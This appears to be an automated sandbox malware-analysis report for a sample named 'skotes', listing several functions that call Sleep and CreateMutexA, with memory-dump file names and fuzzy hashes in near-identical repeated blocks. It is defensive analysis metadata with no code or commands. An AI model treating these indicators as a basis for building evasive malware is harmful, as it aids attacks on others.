sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 971797f2fb95fd6c240647523c59d1fb4113386334b64bf67e29c41a2bf08431
Instruction ID: 294f8577912ef65d6fd1355f9537b0faab5fff649fc432050b82895385e4c650
Opcode Fuzzy Hash: 971797f2fb95fd6c240647523c59d1fb4113386334b64bf67e29c41a2bf08431
Instruction Fuzzy Hash: DB316A316011009FEB089BBCDC857EDB763EB86314F288A59E064DB3D5C77599C18762

Function 0061A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: b8ca188680f195e1d0166093b16d0effaaf85c8ce74c04fb20278abd7e2776a5
Instruction ID: c01c935139d5e0459592e4dd167e677a7317919e7fdb953c8ce50cc366626f19
Opcode Fuzzy Hash: b8ca188680f195e1d0166093b16d0effaaf85c8ce74c04fb20278abd7e2776a5
Instruction Fuzzy Hash: C1313731A111409BEB08DBBCDC857EDB7639B86314F288658E068D73D5C77599C08753

Function 0061A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: edc43345af44af92dced8f23810da4c5ad7d4b9fa441c572ea0d97a2a66654a2
Instruction ID: cb8b40862f060b34319cc8d31b87812fd63251b9958e8dbf832895a48474776a
Opcode Fuzzy Hash: edc43345af44af92dced8f23810da4c5ad7d4b9fa441c572ea0d97a2a66654a2
Instruction Fuzzy Hash: 0A312831A011409FEB08DBBCDC897EDB763AF86310F288658E064D73D5D7759AC48752

Function 0061A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: a93ebafe9977e45853802c00c6cb7d5fa025306beaad41c93972c666a2bae815
Instruction ID: 02d5918beca6bdc210fdd217232463673889c1290d2865f71935c309f7b4ca67
Opcode Fuzzy Hash: a93ebafe9977e45853802c00c6cb7d5fa025306beaad41c93972c666a2bae815
Instruction Fuzzy Hash: 79312731A011009BEB089BBCD889BEDB6A3DF82314F288658E0A4DB3D5D7B559C08657

Function 0061A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 404a91c11c307151f676115bc68c9112403297ac1422d925bc398be18bbf2d59
Instruction ID: 2c33bf6a136d8edfa074e7b5a047f901d265352db0efea0fd3170ac3ec9ac4ec
Opcode Fuzzy Hash: 404a91c11c307151f676115bc68c9112403297ac1422d925bc398be18bbf2d59
Instruction Fuzzy Hash: 48310931A051408BEB08DBBCDD857EDB7639B86314F288658E064DB3D6C77599C08757

Function 0061A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
